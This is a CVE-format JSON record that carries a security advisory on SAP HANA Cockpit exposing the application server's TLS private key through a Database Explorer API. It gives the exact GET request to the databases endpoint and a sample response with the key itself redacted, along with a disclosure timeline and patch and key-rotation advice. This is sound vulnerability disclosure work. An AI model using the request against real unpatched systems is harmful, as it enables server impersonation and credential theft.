{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260415-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260415-0 \u003e\n=======================================================================\n              title: Exposed Private Key of X.509 Certificate\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: SAP HANA Cockpit \u0026 SAP HANA Database Explorer\n vulnerable version: HANA Cockpit \u003c2.18.2 (HRTT \u003c2.16.254002)\n\u00a0 \u00a0 \u00a0 fixed version: HANA Cockpit 2.18.2 (HRTT 2.16.254002)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-34262\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.sap.com/\n              found: 2025-04-24\n                 by: Ben Samtleben (Office Berlin)\n                     Bernd Kaufmann (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SAP is one of the world\u2019s leading producers of software for the management\nof business processes.\"\n\nSource:https://www.sap.com/about/what-is-sap.html\n\n\"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA\ncockpit provides tools for the administration and monitoring of SAP HANA\ndatabases (databases), and for development capabilities through the SAP\nHANA database explorer.\"\n\nSource:https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately, see\nSAP Security Note 3730639 (https://me.sap.com/notes/3730639.\n\nThis patch does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly\nrecommends rotating the affected X.509 certificates and corresponding private\nkeys - even if this is currently not mentioned in the SAP Security Note.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nSAP HANA Cockpit users with access to the Database Explorer can obtain the\nX.509 certificate issued to the application server and its corresponding\nprivate key. This information can be used to impersonate the application server\non network level, allowing an attacker to obtain user credentials or other sensitive\ndata. The issue arises if mutual TLS (mTLS) is configured for communication with the SAP HANA database.\n\n\nProof of concept:\n-----------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nWhen accessing the Database Explorer via the SAP HANA Cockpit, the following\nHTTP request is sent to the HRTT service in the background:\n\nGET /hrtt-service/sap/hana/cst/api/v2/databases HTTP/1.1\nHost: hana-cockpit-web-app.example.org:31033\nCookie: JSESSIONID=[...]\n[...]\n\nThe server response contains a list of all available databases.\n\n{\n    \"__count\": 6,\n    \"d\": {\n        \"results\": [\n            {\n                \"__metadata\": {\n                    \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n                    \"type\": \"database.Database\"\n                },\n                \"id\": \"C123456789\",\n                \"group_id\": 0,\n                \"catalog_name\": \"SID@SID\",\n                \"type\": \"COCKPIT_RESOURCE\",\n                \"disabled\": false,\n                \"has_login\": false,\n                \"cockpit_resource_id\": 123456789,\n                \"database_product_name\": \"HANA\",\n                \"options\": {\n                    \"schema_filter\": \"[]\"\n                },\n                \"set_xs_applicationuser\": true,\n                \"hdl_support_sof\": false\n            },\n            // [... more entries here...]\n        ]\n    }\n}\n\nHowever, the response can vary - most likely depending on other HTTP requests\nthat have been sent. A more verbose response can be triggered by manually\ninteracting with the Database Explorer and then repeating the request.\n(No database credentials are needed.) Then, the following information is returned:\n\n{\n    \"__count\": 6,\n    \"d\": {\n        \"results\": [\n            {\n                \"__metadata\": {\n                    \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n                    \"type\": \"database.Database\"\n                },\n                \"id\": \"C123456789\",\n                \"group_id\": 0,\n                \"catalog_name\": \"SID@SID\",\n                \"type\": \"COCKPIT_RESOURCE\",\n                \"disabled\": false,\n                \"has_login\": false,\n                \"cockpit_resource_id\": 123456789,\n                \"database_product_name\": \"HANA\",\n                \"cockpit_resource_name\": \"SID@SID\",\n                \"options\": {\n                    \"hosts\": [\n                        {\n                            \"host\": \"isidhdb01.example.org\",\n                            \"port\": \"31013\"\n                        }\n                    ],\n                    \"databaseName\": \"SID\",\n                    \"encrypt\": true,\n                    \"ca\": [\n                        \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]zg==\\n-----END \nCERTIFICATE-----\\n\",\n                        \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]c4=\\n-----END CERTIFICATE-----\\n\",\n                    ],\n                    \"sslValidateCertificate\": true,\n                    \"key\": [\n                        \"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----\"\n                    ],\n                    \"cert\": [\n                        \"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN \nCERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----\"\n                    ],\n                    \"schema_filter\": \"[]\"\n                },\n                \"set_xs_applicationuser\": true,\n                \"hdl_support_sof\": false\n            }\n            // [... more entries here...]\n        ]\n    }\n}\n\nThe HTTP response does not only leak additional metadata, but most importantly an X.509\ncertificate chain and the private key of the leaf certificate. This certificate is issued\nto the application server hosting the SAP HANA Cockpit, not to the database server.\n\nThe vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role,\nso it does not require administrative privileges.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions are affected:\n* SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)\n\n\nVendor contact timeline:\n------------------------\n2025-07-01: Contacting vendor through vulnerability submission web form, receiving\n            automatic confirmation.\n2025-10-13: Recontacting vendor via email after no response.\n2025-10-17: Vendor responds, declaring the issue \"resolved\" by Aug 30 without\n            further details.\n2025-10-29: Inquiring about assigned CVE or SAP Security Note.\n2025-11-12: Sending reminder after no response.\n2025-11-28: Sending another reminder, still no response.\n2025-12-03: Vendor responds with the version containing the patch; states that\n            no CVE will be assigned.\n2025-12-05: Contacting vendor, emphasizing that SAP Security Note and CVE are\n            essential to inform customers and make them rotate their certificates.\n2025-12-10: Vendor responds, requesting time to clarify with internal stakeholders.\n2026-02-11: Contacting the vendor again, asking for any updates.\n2026-02-12: Vendor responds, reiterating patched version, no mention of SAP Security\n            Note or CVE.\n2026-02-12: Reminding vendor of importance of notifying affected customers due to\n            required certificate rotation.\n2026-02-25: Contacting MITRE regarding CVE assignment dispute.\n2026-02-27: Vendor agrees to issuing SAP Security Note and asks to wait with public disclosure.\n2026-04-14: SAP Security Note 3730639 (CVE-2026-34262) is published by the vendor.\n2026-04-15: Public release of advisory\n\n\nSolution:\n---------\nAccording to SAP, the vulnerability was fixed in SAP HANA Cockpit version 2.18.2 (HRTT version 2.16.254002).\nFor information on the available patch, please see SAP Security Note 3730639 (https://me.sap.com/notes/3730639).\n\nHowever, this does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly recommends\nrotating the affected X.509 certificates and corresponding private keys -\neven if this is currently not mentioned in the SAP Security Note.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Ben Samtleben, Bernd Kaufmann / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:43Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/16"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html"
        },
        {
          "url": "https://me.sap.com/notes/3730639"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sap.com/"
        },
        {
          "url": "https://www.sap.com/about/what-is-sap.html"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260415-0 :: Exposed Private Key of X.509 Certificate in SAP HANA Cockpit \u0026 SAP HANA Database Explorer",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-34262",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0275",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/16",
            "automated": true,
            "contentSha256": "6f655d6928dcb34aeba6f04fef53749b3510306845eac1066e4290c98b8b47c7",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-15T09:25:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0275"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-08T08:13:43Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0275"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}